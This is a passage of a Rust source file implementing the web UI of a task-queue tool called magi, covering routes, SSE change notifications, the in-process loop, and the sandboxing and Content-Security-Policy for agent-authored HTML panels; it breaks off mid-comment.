Skip to main content

magi/
web.rs

1//! The web UI: magi's queue and run history, readable from a phone.
2//!
3//! The terminal is the wrong surface for the two things an operator actually
4//! does between runs — file a task and check whether the last competition
5//! landed. Both happen away from the desk, so they get an HTTP surface: a
6//! handful of JSON routes and three embedded files.
7//!
8//! # One binary
9//!
10//! `index.html`, `app.css` and `app.js` are compiled in with [`include_str!`].
11//! There is no `--assets-dir` and no filesystem fallback, because a UI that
12//! reads its own front end from disk breaks the moment the binary is copied
13//! somewhere else — which is exactly what `cargo install magi-cli` does. No
14//! JS toolchain, no CDN, no remote font: everything the phone needs arrives
15//! from this process.
16//!
17//! # No authentication
18//!
19//! There is none, deliberately, and the startup log says so. The tailnet is
20//! the security boundary: `--bind auto` resolves to this machine's Tailscale
21//! address, so the UI is reachable from the operator's own devices and from
22//! nothing else. Anyone who can open the URL can file and hold tasks, which is
23//! why binding to `0.0.0.0` is not offered and why the fallback when Tailscale
24//! is missing is loopback rather than every interface.
25//!
26//! # Change notification
27//!
28//! A phone must not poll a full run list on a mobile link. `GET /api/events`
29//! is a server-sent stream carrying nothing but two revision numbers — the
30//! newest modification time in the queue and under the runs directory — so the
31//! client refetches only what moved. The browser's own SSE reconnection covers
32//! a sleeping phone; there is no session to lose.
33//!
34//! # Reading state must never take the server down
35//!
36//! A corrupt `run.json` is skipped in the list and explained with a 500 on the
37//! detail route. No handler unwraps a filesystem or parse result: a single bad
38//! file left by a killed run would otherwise turn the whole history into a
39//! blank page.
40//!
41//! # Agent-authored HTML, rendered anyway
42//!
43//! Everything else here refuses to put API data into the document: `app.js`
44//! builds nodes and sets `textContent`, and even an href from a run record is
45//! laundered first. A confirmation panel breaks that rule on purpose - an
46//! agent asking the owner to approve a merge needs a diff and a table, not one
47//! line of prose - and the only reason it is acceptable is that the panel is
48//! never part of this document.
49//!
50//! It is served by [`question_panel`] and [`question_asset`] and rendered in an
51//! `<iframe sandbox>` carrying exactly `allow-popups` and
52//! `allow-popups-to-escape-sandbox`: no `allow-scripts`, no
53//! `allow-same-origin`. So no script in a panel runs, and the frame cannot
54//! reach the parent document, the cookie jar or `localStorage`. On top of that
55//! both routes send [`PANEL_CSP`], which denies every network destination, so a
56//! panel cannot phone home through a remote image or a beacon either - the two
57//! things it may load, images and inline CSS, are the two things free
58//! formatting actually needs. Assets come from the question's own directory and
59//! never from the network, and their content types come from a closed
60//! whitelist, so an agent cannot get markup rendered outside the frame by
61//! naming a file `.html`.
62//!
63//! # A conversation turn is not a filesystem read
64//!
65//! Every other route here is disk work, which is why [`blocking`] exists.
66//! `POST /api/talks/{id}/say` is the exception: it spawns an agent CLI and
67//! waits tens of seconds for a sentence. It is a plain `await` holding no lock
68//! and no executor thread, and concurrent turns on one talk are refused rather
69//! than queued - see [`Ui::begin_talk_turn`].
70//!
71//! # The loop runs here
72//!
73//! `magi web` runs the queue loop in this process, started and stopped from
74//! `/api/loop`. That is the point of the whole surface: a task filed from a
75//! phone with nobody around to type `magi serve` is a task that sits in the
76//! queue until someone walks back to the machine.
77//!
78//! It is a tokio task holding a [`daemon::Stop`], not a child process. There
79//! is no pid file of this module's own and nothing to supervise - a child
80//! would need reaping, a second copy of the daemon's retry policy, and a
81//! story for what happens when `magi web` dies with the loop still running.
82//! `<home>/daemon.json`, which the loop itself writes, stays the only
83//! cross-process signal, and it is how this process notices that the
84//! operator's own `magi serve` already owns the loop and refuses to start a
85//! second one that would fight it for claims.
86//!
87//! Stopping is cooperative and therefore not instant. A run in flight is
88//! finished first, for the reason [`daemon::serve`] gives: killing the graph
89//! mid-node leaves worktrees, branches and agent sessions behind and throws
90//! away every agent call already paid for. `POST /api/loop` sets the flag and
91//! answers immediately rather than waiting, because the wait is measured in
92//! tens of minutes and the operator is holding a phone.
93
94#[cfg(test)]
95pub(crate) mod request_cost;
96
97use std::collections::{HashMap, HashSet};
98use std::convert::Infallible;
99use std::net::{IpAddr, Ipv4Addr, SocketAddr};
100use std::path::{Path as FsPath, PathBuf};
101use std::pin::Pin;
102use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
103use std::time::Duration;
104use tokio::sync::Notify;
105
106use anyhow::{Context, Result};
107use axum::Json;
108use axum::Router;
109use axum::body::Bytes;
110use axum::extract::rejection::JsonRejection;
111use axum::extract::{DefaultBodyLimit, Path, Query, State};
112use axum::http::{HeaderMap, HeaderValue, StatusCode, header};
113use axum::response::sse::{Event, KeepAlive, Sse};
114use axum::response::{IntoResponse, Response};
115use axum::routing::{get, post, put};
116use jiff::Timestamp;
117use serde::{Deserialize, Serialize};
118use tokio_stream::StreamExt as _;
119use tokio_stream::wrappers::ReceiverStream;
120
121use crate::agent;
122use crate::ask::{self, Answer, Question, Questions};
123use crate::config::{AgentKind, Config, Update, UpdateMode};
124use crate::md;
125use crate::notices::{Notice, Notices};
126use crate::persona;
127use crate::persona_icon;
128use crate::proc::Quiet as _;
129use crate::queue::{Queue, Source, Task, TaskStatus, title_from};
130use crate::run::{RunState, RunStatus};
131use crate::talk::{Talk, Talks};
132use crate::{daemon, git, report, repos, run, settings, stats, talk, updater};
133
134/// Default port. Chosen high and memorable; nothing else in the fleet uses it.
135pub const DEFAULT_PORT: u16 = 7878;
136
137/// How often the change stream restats the queue and the runs directory.
138const POLL: Duration = Duration::from_secs(1);
139
140/// Keep-alive interval for the change stream. Phones and intermediaries drop
141/// an idle connection within a minute; a comment every fifteen seconds keeps
142/// the stream alive without waking the radio often enough to matter.
143const KEEPALIVE: Duration = Duration::from_secs(15);
144
145/// Ceiling on how long [`run_update_recheck`] ever sleeps between wake-ups.
146///
147/// A fixed period this long would not track a `[update] interval` shorter
148/// than itself: an operator who set `interval = "1m"` to make the deck
149/// notice a release within a minute would still wait up to fifteen of them
150/// for the next wake-up to even ask [`updater::Checker::should_check`].
151/// [`recheck_poll_period`] scales the sleep with the configured interval
152/// instead, and this is only its ceiling - reached at the default interval
153/// of a day, where waking any more often would just spend cycles asking a
154/// question that stays "no" for hours.
155const UPDATE_RECHECK_POLL_MAX: Duration = Duration::from_secs(15 * 60);
156
157/// Floor on the same, so a very short `[update] interval` cannot spin
158/// [`run_update_recheck`] in a near-busy loop.
159const UPDATE_RECHECK_POLL_MIN: Duration = Duration::from_secs(30);
160
161/// Runs returned when the client does not ask, and the ceiling if it asks for
162/// more. The cap exists because the list handler parses every `run.json` it
163/// returns, and a phone cannot render two thousand rows anyway.
164const LIST_DEFAULT: usize = 50;
165/// Upper bound for `?limit=`.
166const LIST_MAX: usize = 500;
167
168/// Width of a generated task title, matching what the CLI uses.
169const TITLE_MAX: usize = 72;
170
171/// Per-file cap for an attachment upload.
172///
173/// Enforced twice: axum's own body limit is raised one byte above this, only
174/// on the two attachment `POST` routes (see the router - every other route
175/// keeps the crate-wide default), so an oversize body is still read far
176/// enough to answer with our own message below rather than axum's generic
177/// one; this constant is what that message and the boundary check actually
178/// compare against.
179const ATTACHMENT_MAX_BYTES: usize = 10 * 1024 * 1024;
180
181/// The image types an attachment upload accepts - a closed whitelist, the
182/// same posture [`asset_content_type`] takes for panel assets and for the
183/// same reason: SVG is excluded on purpose because it is active content
184/// (it may carry `<script>`) and not merely a picture, so it never appears
185/// here even though `image/svg+xml` is a real IANA type.
186const ATTACHMENT_MIME_WHITELIST: [&str; 4] = ["image/png", "image/jpeg", "image/gif", "image/webp"];
187
188/// Header carrying the operator's own filename. Free text, stored only for
189/// display - see [`talk::Attachment::name`]'s doc on why it never
190/// contributes to a path.
191const FILENAME_HEADER: &str = "x-filename";
192
193/// The header that makes serving agent-authored HTML defensible, sent by both
194/// panel routes and asserted verbatim by a test.
195///
196/// Read it as a list of things a hostile panel cannot do. `default-src 'none'`
197/// denies every fetch destination that is not re-allowed below, which is all of
198/// them except images and fonts; `img-src 'self' data:` means an image comes
199/// from magi's own asset route or from the document itself, so a panel cannot
200/// signal an outside server by pointing an `<img>` at it - the classic
201/// exfiltration channel for markup that cannot run script. `style-src
202/// 'unsafe-inline'` is the one permission granted, because inline CSS is what
203/// free formatting means here and a style sheet cannot make a request that
204/// `default-src` has not already allowed. `base-uri 'none'` stops a `<base>`
205/// tag re-pointing the relative asset URLs somewhere else, `form-action 'none'`
206/// stops a form posting the owner's decision to a third party, and
207/// `frame-ancestors 'self'` stops another site framing the panel to phish with
208/// it.
209///
210/// There is deliberately no `script-src`: `default-src 'none'` already covers
211/// it, and the sandboxed frame carries no `allow-scripts` either, so script is
212/// denied twice over. Weakening any directive here is the difference between a
213/// panel the owner reads and a page that can talk to the tailnet, which is why
214/// the test compares the whole string rather than looking for a substring.
215const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
216                         font-src data:; base-uri 'none'; form-action 'none'; \
217                         frame-ancestors 'self'";
218
219const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
220const APP_CSS: &str = include_str!("../assets/ui/app.css");
221const APP_JS: &str = include_str!("../assets/ui/app.js");
222
223/// Which address to listen on.
224#[derive(Debug, Clone, Copy, PartialEq, Eq)]
225pub enum Bind {
226    /// Ask Tailscale, and fall back to loopback with a warning.
227    Auto,
228    /// An address the operator named.
229    Addr(IpAddr),
230}
231
232impl std::str::FromStr for Bind {
233    type Err = String;
234
235    /// `auto`, or anything [`IpAddr`] accepts. Parsing lives with the type so
236    /// the CLI can take `--bind` straight into it: the one spelling of
237    /// `auto` that matters is the one this function knows.
238    fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
239        if s.eq_ignore_ascii_case("auto") {
240            return Ok(Self::Auto);
241        }
242        s.parse()
243            .map(Self::Addr)
244            .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
245    }
246}
247
248impl std::fmt::Display for Bind {
249    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
250        match self {
251            Self::Auto => f.write_str("auto"),
252            Self::Addr(addr) => write!(f, "{addr}"),
253        }
254    }
255}
256
257/// How to serve.
258#[derive(Debug, Clone)]
259pub struct Opts {
260    /// Address to listen on.
261    pub bind: Bind,
262    /// Port to listen on.
263    pub port: u16,
264    /// Repository used for tasks posted without one.
265    pub repo: PathBuf,
266    /// Print the URL on its own line for a caller that wants to hand it to a
267    /// browser. magi never launches one itself.
268    pub open: bool,
269    /// Merge mode override for the loop this process runs (`none`, `local`,
270    /// `pr`); `None` leaves it to each repository's own config.
271    ///
272    /// The same override `magi serve --merge` takes, and here for the same
273    /// reason: `magi web` is now the thing that runs the loop, so an operator
274    /// who wants this session's runs to open pull requests has to be able to
275    /// say so without going back to the command they no longer type.
276    pub merge: Option<String>,
277}
278
279impl Default for Opts {
280    fn default() -> Self {
281        Self {
282            bind: Bind::Auto,
283            port: DEFAULT_PORT,
284            repo: PathBuf::from("."),
285            open: false,
286            merge: None,
287        }
288    }
289}
290
291mod id_links;
292
293type Stamps = HashMap<String, (u128, u64)>;
294
295/// Metadata only: no task instructions or conversation bodies are read here.
296fn store_stamps(root: &FsPath, runs: bool) -> Stamps {
297    try_store_stamps(root, runs).unwrap_or_default()
298}
299
300fn try_store_stamps(root: &FsPath, runs: bool) -> std::io::Result<Stamps> {
301    try_stamps(root, runs, false)
302}
303
304fn try_stamps(root: &FsPath, runs: bool, all_entries: bool) -> std::io::Result<Stamps> {
305    use std::hash::{Hash as _, Hasher as _};
306    let entries = match std::fs::read_dir(root) {
307        Ok(entries) => entries,
308        Err(e) if e.kind() == std::io::ErrorKind::NotFound => return Ok(HashMap::new()),
309        Err(e) => return Err(e),
310    };
311    let mut stamps = HashMap::new();
312    for entry in entries {
313        let entry = entry?;
314        let path = if runs {
315            entry.path().join("run.json")
316        } else {
317            entry.path()
318        };
319        if !runs && !all_entries && path.extension().is_none_or(|ext| ext != "json") {
320            continue;
321        }
322        let identity = match file_identity(&path) {
323            Ok(identity) => identity,
324            Err(e) if runs && e.kind() == std::io::ErrorKind::NotFound => continue,
325            Err(e) => return Err(e),
326        };
327        let modified = identity
328            .modified
329            .duration_since(std::time::UNIX_EPOCH)
330            .unwrap_or_default();
331        let mut hasher = std::hash::DefaultHasher::new();
332        identity.hash(&mut hasher);
333        let id = if runs || all_entries {
334            entry.file_name().to_string_lossy().into_owned()
335        } else {
336            path.file_stem()
337                .unwrap_or_default()
338                .to_string_lossy()
339                .into_owned()
340        };
341        stamps.insert(id, (modified.as_nanos(), hasher.finish()));
342    }
343    Ok(stamps)
344}
345
346#[derive(Debug, Serialize)]
347struct Delta {
348    base: u64,
349    changed: Vec<String>,
350    removed: Vec<String>,
351}
352
353fn diff_stamps(previous: &Stamps, next: &Stamps, base: u64) -> Delta {
354    let mut changed: Vec<_> = next
355        .iter()
356        .filter(|(id, stamp)| previous.get(*id) != Some(*stamp))
357        .map(|(id, _)| id.clone())
358        .collect();
359    let mut removed: Vec<_> = previous
360        .keys()
361        .filter(|id| !next.contains_key(*id))
362        .cloned()
363        .collect();
364    changed.sort_unstable();
365    removed.sort_unstable();
366    Delta {
367        base,
368        changed,
369        removed,
370    }
371}
372
373/// Change detection token for recorded runs under `runs`.
374#[cfg(test)]
375fn runs_revision(runs: &FsPath) -> u64 {
376    stamps_revision(&store_stamps(runs, true))
377}
378
379/// Opaque tokens use the exact metadata snapshot behind the delta, in both
380/// health and SSE. Nanoseconds and length also detect same-millisecond writes
381/// and deleting an older conversation (a newest-mtime token cannot do that).
382fn stamps_revision(stamps: &Stamps) -> u64 {
383    use std::hash::{Hash as _, Hasher as _};
384    if stamps.is_empty() {
385        return 0;
386    }
387    let mut entries: Vec<_> = stamps.iter().collect();
388    entries.sort_unstable();
389    let mut hasher = std::hash::DefaultHasher::new();
390    entries.hash(&mut hasher);
391    hasher.finish().max(1)
392}
393
394#[derive(Clone, Debug)]
395pub(crate) struct ChangeNotification {
396    pub payload: serde_json::Value,
397}
398
399#[derive(Default, Debug)]
400pub(crate) struct QueueIndex {
401    // Retain parsed records only while their file identity is unchanged.
402    records: HashMap<String, (FileIdentity, Arc<TaskRelation>)>,
403    #[cfg(test)]
404    reparsed: usize,
405}
406
407#[derive(Clone, Debug)]
408struct TaskRelation {
409    id: String,
410    status: Option<crate::queue::TaskStatus>,
411    priority: i32,
412    runs: Vec<String>,
413    source: Source,
414    chat: Option<String>,
415}
416
417impl From<Task> for TaskRelation {
418    fn from(task: Task) -> Self {
419        Self {
420            id: task.id,
421            status: Some(task.status),
422            priority: task.priority,
423            runs: task.runs,
424            source: task.source,
425            chat: task.chat,
426        }
427    }
428}
429
430#[derive(Debug, PartialEq, Eq, Hash)]
431struct FileIdentity {
432    modified: std::time::SystemTime,
433    len: u64,
434    #[cfg(unix)]
435    identity: (u64, u64, i64, i64),
436}
437
438fn file_identity(path: &FsPath) -> std::io::Result<FileIdentity> {
439    let meta = path.metadata()?;
440    Ok(FileIdentity {
441        modified: meta.modified()?,
442        len: meta.len(),
443        #[cfg(unix)]
444        identity: {
445            use std::os::unix::fs::MetadataExt as _;
446            (meta.dev(), meta.ino(), meta.ctime(), meta.ctime_nsec())
447        },
448    })
449}
450
451type Revisions = (u64, u64, u64, u64, u64, u64);
452type MonitorSnapshot = Option<(Revisions, [Stamps; 3])>;
453
454#[derive(Debug)]
455pub(crate) struct SharedMonitor {
456    pub broadcaster: tokio::sync::broadcast::Sender<ChangeNotification>,
457    pub latest: Arc<Mutex<MonitorSnapshot>>,
458    pub worker_started: std::sync::atomic::AtomicBool,
459    pub queue_index: Arc<Mutex<QueueIndex>>,
460    list_walks: Mutex<Vec<ListWalk>>,
461}
462
463/// Keep a failed store's last observation without suppressing healthy stores.
464fn monitor_scan(ui: &Ui, previous: MonitorSnapshot) -> (Revisions, [Stamps; 3]) {
465    let (mut rev, mut stamps) = previous.unwrap_or_default();
466    for (index, root, runs) in [
467        (0, ui.queue.root(), false),
468        (1, ui.runs.as_path(), true),
469        (2, ui.talks.root(), false),
470    ] {
471        if let Ok(next) = try_store_stamps(root, runs) {
472            let value = stamps_revision(&next);
473            match index {
474                0 => rev.0 = value,
475                1 => rev.1 = value,
476                _ => rev.3 = value,
477            }
478            stamps[index] = next;
479        }
480    }
481    if let Ok(next) = try_stamps(ui.questions.root(), false, true) {
482        rev.2 = stamps_revision(&next);
483    }
484    if let Ok(next) = try_stamps(ui.notices.root(), false, true) {
485        rev.4 = stamps_revision(&next);
486    }
487    rev.5 = ui.lock_loop().rev;
488    (rev, stamps)
489}
490
491impl SharedMonitor {
492    pub fn new() -> Self {
493        let (tx, _) = tokio::sync::broadcast::channel(64);
494        Self {
495            broadcaster: tx,
496            latest: Arc::default(),
497            worker_started: std::sync::atomic::AtomicBool::new(false),
498            queue_index: Arc::default(),
499            list_walks: Mutex::default(),
500        }
501    }
502
503    async fn revisions(&self, ui: &Arc<Ui>) -> ApiResult<Revisions> {
504        let mut receiver = self.broadcaster.subscribe();
505        self.ensure_worker(ui);
506        loop {
507            if let Some((revisions, _)) = self
508                .latest
509                .lock()
510                .unwrap_or_else(PoisonError::into_inner)
511                .as_ref()
512            {
513                return Ok(*revisions);
514            }
515            tokio::time::timeout(Duration::from_secs(5), receiver.recv())
516                .await
517                .map_err(|_| ApiError::internal("Store monitoring is unavailable; retry"))?
518                .map_err(|_| ApiError::internal("Store monitoring restarted; retry"))?;
519        }
520    }
521
522    pub fn ensure_worker(&self, ui: &Arc<Ui>) {
523        if self
524            .worker_started
525            .compare_exchange(
526                false,
527                true,
528                std::sync::atomic::Ordering::SeqCst,
529                std::sync::atomic::Ordering::SeqCst,
530            )
531            .is_err()
532        {
533            return;
534        }
535
536        let weak_ui = Arc::downgrade(ui);
537        tokio::spawn(async move {
538            let mut ticker = tokio::time::interval(POLL);
539            loop {
540                ticker.tick().await;
541                let Some(ui) = weak_ui.upgrade() else {
542                    break;
543                };
544
545                let previous = ui
546                    .monitor
547                    .latest
548                    .lock()
549                    .unwrap_or_else(PoisonError::into_inner)
550                    .clone();
551                let state = Arc::clone(&ui);
552                let scan =
553                    tokio::task::spawn_blocking(move || monitor_scan(&state, previous)).await;
554
555                // A slow filesystem must not turn missed ticks into a busy loop.
556                ticker.reset();
557                let Ok((revisions, next_stamps)) = scan else {
558                    continue;
559                };
560
561                let mut latest_guard = match ui.monitor.latest.lock() {
562                    Ok(g) => g,
563                    Err(p) => p.into_inner(),
564                };
565
566                let previous = latest_guard.take();
567                let (last_rev, prev_stamps) = match previous {
568                    Some((r, s)) => (Some(r), Some(s)),
569                    None => (None, None),
570                };
571
572                if last_rev == Some(revisions) {
573                    *latest_guard = Some((revisions, prev_stamps.unwrap_or(next_stamps)));
574                    continue;
575                }
576
577                let mut payload = serde_json::json!({
578                    "queue_rev": revisions.0,
579                    "runs_rev": revisions.1,
580                    "questions_rev": revisions.2,
581                    "talks_rev": revisions.3,
582                    "notifications_rev": revisions.4,
583                    "loop_rev": revisions.5,
584                });
585
586                if let (Some(base), Some(prev)) = (last_rev, prev_stamps.as_ref()) {
587                    for (index, (key, rev)) in [
588                        ("queue_delta", base.0),
589                        ("runs_delta", base.1),
590                        ("talks_delta", base.3),
591                    ]
592                    .into_iter()
593                    .enumerate()
594                    {
595                        let delta = diff_stamps(&prev[index], &next_stamps[index], rev);
596                        if delta.changed.len() + delta.removed.len() > 0
597                            && delta.changed.len() <= 50
598                        {
599                            payload[key] = serde_json::to_value(delta).expect("serializable delta");
600                        }
601                    }
602                }
603
604                *latest_guard = Some((revisions, next_stamps));
605                drop(latest_guard);
606
607                let _ = ui.monitor.broadcaster.send(ChangeNotification { payload });
608            }
609        });
610    }
611}
612
613/// Everything the handlers touch.
614///
615/// The queue, the runs directory and the magi home are fields rather than
616/// process-global lookups so a test drives the real router against a temp
617/// directory instead of the operator's own history.
618#[derive(Debug, Clone)]
619pub struct Ui {
620    queue: Queue,
621    questions: Questions,
622    /// `<home>/notifications`, the bell's own store. Derived from `home` in
623    /// [`Ui::new`] so no constructor signature had to grow.
624    notices: Notices,
625    talks: Talks,
626    runs: PathBuf,
627    references: Arc<id_links::IndexCache>,
628    home: PathBuf,
629    repo: PathBuf,
630    /// Where the runs' worktrees live, for the health disk figures.
631    ///
632    /// Spelled independently of [`crate::run::default_worktree_root`] so the
633    /// test servers can point it at their own temp directory: the health route
634    /// sizes it, and sizing the operator's real `~/wt/magi` from a test would
635    /// be measuring the machine instead of the server.
636    worktrees_root: PathBuf,
637    /// Talks with an agent turn in flight right now.
638    ///
639    /// In-process and therefore not durable, which is correct: it guards
640    /// against two taps on one phone and two phones on one tailnet, both of
641    /// which are this process's own concurrency. A second `magi web` would not
642    /// see it, and a second `magi web` on the same home is already a
643    /// misconfiguration the queue's claims would catch first.
644    talk_turns: Arc<Mutex<TalkTurns>>,
645    /// Held by `POST /api/upgrade` from its busy-stage check until the first
646    /// progress record is written, so two taps cannot both start an upgrade.
647    /// After that `upgrade.json` carries the exclusion.
648    upgrade_gate: Arc<tokio::sync::Mutex<()>>,
649    /// Set once an upgrade task is spawned, cleared when it fails. Keeps the
650    /// exclusion in memory for when `upgrade.json` could not be written.
651    upgrade_spawned: Arc<std::sync::atomic::AtomicBool>,
652    /// Request failures before progress exists; never overwrite upgrade.json.
653    upgrade_request_error: Arc<Mutex<Option<UpgradeRequestFailure>>>,
654    /// Runs this process is resuming right now.
655    ///
656    /// Separate from `talk_turns` because a run and a talk are different
657    /// things to hold, and a resume is far more expensive to start twice: it
658    /// re-asks agent seats. Same reasoning about scope as `talk_turns` — this
659    /// guards two taps and two phones, which is this process's own
660    /// concurrency.
661    resuming: Arc<Mutex<HashSet<String>>>,
662    /// The last scan of `[repos] roots`, and when it happened. Shared across
663    /// requests so polling `GET /api/repos` repeatedly does not repeat the
664    /// filesystem walk every time - see [`repos::Cache`].
665    repos_cache: repos::Cache,
666    /// The machine-config file the settings screen reads and writes: always
667    /// [`Config::machine_layer`], never anything a request names. A field so a
668    /// test can point it at its own temp directory instead of the operator's.
669    machine_config: Option<PathBuf>,
670    /// Merge mode override handed to the loop this process starts.
671    merge: Option<String>,
672    /// The loop this process is running, if it is running one.
673    looping: Arc<Mutex<LoopState>>,
674    /// How a loop is actually started.
675    ///
676    /// A field rather than a direct call to [`daemon::serve_until`], because
677    /// the real loop resolves its queue and its status file through the
678    /// process-global magi home and claims whatever it finds there. A test
679    /// that started it would reach straight past its own temp directory into
680    /// the operator's live queue, overwrite the status file of the `magi
681    /// serve` that owns it, and spend real agent quota on a real competition.
682    /// What the routes have to get right is the bookkeeping, so the tests
683    /// drive the routes against a loop that only starts and stops; production
684    /// is [`launch_daemon`] and nothing reassigns it.
685    launch: Launch,
686    /// A test-only stop point inside `talk_say`'s busy branch. See
687    /// [`BusyQueueGate`].
688    #[cfg(test)]
689    busy_queue_gate: Arc<Mutex<Option<BusyQueueGate>>>,
690    pub(crate) monitor: Arc<SharedMonitor>,
691}
692
693/// A one-shot stop point the busy branch's queued-draft write can be made to
694/// pause at, right before [`talk::queue`] runs.
695///
696/// Exists because a test cannot otherwise pin *when*, relative to the turn
697/// slot being freed, that write happens: `blocking` runs it on
698/// `spawn_blocking`, whose `JoinHandle` resolves in a single poll if the job
699/// already finished, so counting polls on the handler future to park it at a
700/// particular `.await` is a guess about scheduling, not a fact about it - see
701/// `a_dropped_handler_future_after_queueing_still_drains_the_draft`, which
702/// used to do exactly that and paid for it with an occasional "async fn
703/// resumed after completion" panic under load.
704///
705/// `reached` fires the instant the write is about to run, so a test waits for
706/// a real event instead of a poll count. `release` then blocks the write
707/// until the test says to continue; it is a `std::sync::mpsc::Receiver`
708/// rather than an async channel because this all happens inside the
709/// `spawn_blocking` closure the write already runs on, off any runtime
710/// worker, so blocking here costs nothing the write was not already going to
711/// cost.
712#[cfg(test)]
713struct BusyQueueGate {
714    reached: tokio::sync::oneshot::Sender<()>,
715    release: std::sync::mpsc::Receiver<()>,
716}
717
718#[cfg(test)]
719impl std::fmt::Debug for BusyQueueGate {
720    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
721        f.debug_struct("BusyQueueGate").finish_non_exhaustive()
722    }
723}
724
725impl Ui {
726    /// A server over explicit paths.
727    pub fn new(
728        queue: Queue,
729        questions: Questions,
730        talks: Talks,
731        runs: PathBuf,
732        home: PathBuf,
733        repo: PathBuf,
734    ) -> Self {
735        Self {
736            queue,
737            questions,
738            notices: Notices::at(home.join("notifications")),
739            talks,
740            runs,
741            references: Arc::default(),
742            home,
743            repo,
744            // The default location, overridden by `with_worktrees_root` - a
745            // builder step rather than a ninth parameter, for the reason
746            // `with_merge` gives.
747            worktrees_root: run::default_worktree_root(),
748            talk_turns: Arc::default(),
749            upgrade_gate: Arc::default(),
750            upgrade_spawned: Arc::default(),
751            upgrade_request_error: Arc::default(),
752            resuming: Arc::default(),
753            repos_cache: repos::Cache::new(),
754            machine_config: Config::machine_layer(),
755            merge: None,
756            looping: Arc::default(),
757            launch: launch_daemon,
758            #[cfg(test)]
759            busy_queue_gate: Arc::default(),
760            monitor: Arc::new(SharedMonitor::new()),
761        }
762    }
763
764    /// Refresh metadata on every lookup, including external-process writes. Only
765    /// changed records are parsed. Never publish a partial scan as an empty set.
766    fn indexed_tasks(&self) -> ApiResult<Vec<Arc<TaskRelation>>> {
767        let mut index = self
768            .monitor
769            .queue_index
770            .lock()
771            .unwrap_or_else(PoisonError::into_inner);
772        let entries = match std::fs::read_dir(self.queue.root()) {
773            Ok(entries) => entries,
774            Err(e) if e.kind() == std::io::ErrorKind::NotFound => {
775                index.records.clear();
776                return Ok(Vec::new());
777            }
778            Err(e) => return Err(anyhow::Error::from(e).into()),
779        };
780        let mut seen = HashSet::new();
781        for entry in entries {
782            let path = entry.map_err(anyhow::Error::from)?.path();
783            if path.extension().is_none_or(|ext| ext != "json") {
784                continue;
785            }
786            let Some(id) = path.file_stem().and_then(|s| s.to_str()) else {
787                continue;
788            };
789            let stamp = file_identity(&path).map_err(anyhow::Error::from)?;
790            seen.insert(id.to_owned());
791            // On platforms without inode/ctime, re-read rather than trust a
792            // same-size replacement with a preserved modification timestamp.
793            if !cfg!(unix) || index.records.get(id).is_none_or(|(old, _)| *old != stamp) {
794                let Ok(task) = self.queue.get(id) else {
795                    // Isolate an unreadable record, as Queue::list does. Keep
796                    // its last known relationship so a lookup of THAT task
797                    // still fails on the authoritative read below. Never let
798                    // unrelated corruption disable every run and conversation.
799                    // Counts must not present its previous status as current.
800                    if let Some((_, record)) = index.records.get_mut(id) {
801                        Arc::make_mut(record).status = None;
802                    }
803                    continue;
804                };
805                #[cfg(test)]
806                {
807                    index.reparsed += 1;
808                }
809                if file_identity(&path).map_err(anyhow::Error::from)? != stamp {
810                    return Err(ApiError::conflict("Queue changed during read; retry"));
811                }
812                index
813                    .records
814                    .insert(id.to_owned(), (stamp, Arc::new(TaskRelation::from(task))));
815            }
816        }
817        index.records.retain(|id, _| seen.contains(id));
818        let mut tasks: Vec<_> = index
819            .records
820            .values()
821            .map(|(_, task)| task.clone())
822            .collect();
823        tasks.sort_unstable_by(|a, b| b.priority.cmp(&a.priority).then_with(|| b.id.cmp(&a.id)));
824        Ok(tasks)
825    }
826
827    fn find_task_for_run(&self, run_id: &str) -> ApiResult<Option<Task>> {
828        let Some(record) = self
829            .indexed_tasks()?
830            .into_iter()
831            .find(|task| task.runs.iter().any(|id| id == run_id))
832        else {
833            return Ok(None);
834        };
835        let task = self.queue.get(&record.id)?;
836        if !task.runs.iter().any(|id| id == run_id) {
837            return Err(ApiError::conflict("Task relationship changed; retry"));
838        }
839        Ok(Some(task))
840    }
841
842    fn find_tasks_for_talk(&self, talk_id: &str) -> ApiResult<Vec<Task>> {
843        self.indexed_tasks()?
844            .into_iter()
845            .filter(|task| {
846                task.chat.as_deref() == Some(talk_id)
847                    || matches!(&task.source, Source::Agent { run, .. } if run == talk_id)
848            })
849            .map(|record| {
850                let task = self.queue.get(&record.id)?;
851                if task.chat.as_deref() != Some(talk_id)
852                    && !matches!(&task.source, Source::Agent { run, .. } if run == talk_id)
853                {
854                    return Err(ApiError::conflict("Task relationship changed; retry"));
855                }
856                Ok(task)
857            })
858            .collect()
859    }
860
861    /// The operator's own state: `<home>/queue`, `<home>/questions`,
862    /// `<home>/talks`, `<home>/runs`.
863    pub fn open(repo: PathBuf) -> Self {
864        Self::new(
865            Queue::open(),
866            Questions::open(),
867            Talks::open(),
868            run::runs_root(),
869            run::home(),
870            repo,
871        )
872    }
873
874    /// The merge mode the loop should use, as the command line gave it.
875    ///
876    /// A builder step rather than a seventh parameter on [`Ui::new`], because
877    /// the override is a property of how this process was invoked and not of
878    /// where its state lives - which is all the tests that build a `Ui` by
879    /// hand are saying.
880    #[must_use]
881    pub fn with_merge(mut self, merge: Option<String>) -> Self {
882        self.merge = merge;
883        self
884    }
885
886    /// The machine-config file the settings screen writes, when it is not
887    /// [`Config::machine_layer`] (tests).
888    #[cfg(test)]
889    #[must_use]
890    fn with_machine_config(mut self, path: Option<PathBuf>) -> Self {
891        self.machine_config = path;
892        self
893    }
894
895    /// Where the runs' worktrees live, when it is not the default.
896    ///
897    /// The health view sizes this directory, so a test that leaves it at the
898    /// default would be measuring the operator's own machine.
899    #[must_use]
900    pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
901        self.worktrees_root = root;
902        self
903    }
904
905    /// Point the loop at something other than [`launch_daemon`].
906    ///
907    /// Test-only, and deliberately: see [`Ui::launch`] for why no test in
908    /// this crate may start the real loop.
909    #[cfg(test)]
910    #[must_use]
911    fn with_launch(mut self, launch: Launch) -> Self {
912        self.launch = launch;
913        self
914    }
915
916    /// Install a [`BusyQueueGate`] for the next pass through the busy
917    /// branch's queued-draft write, replacing any earlier one.
918    ///
919    /// A setter on `&self` rather than a `with_*` builder consumed once,
920    /// because a test that drives the busy branch more than once (as
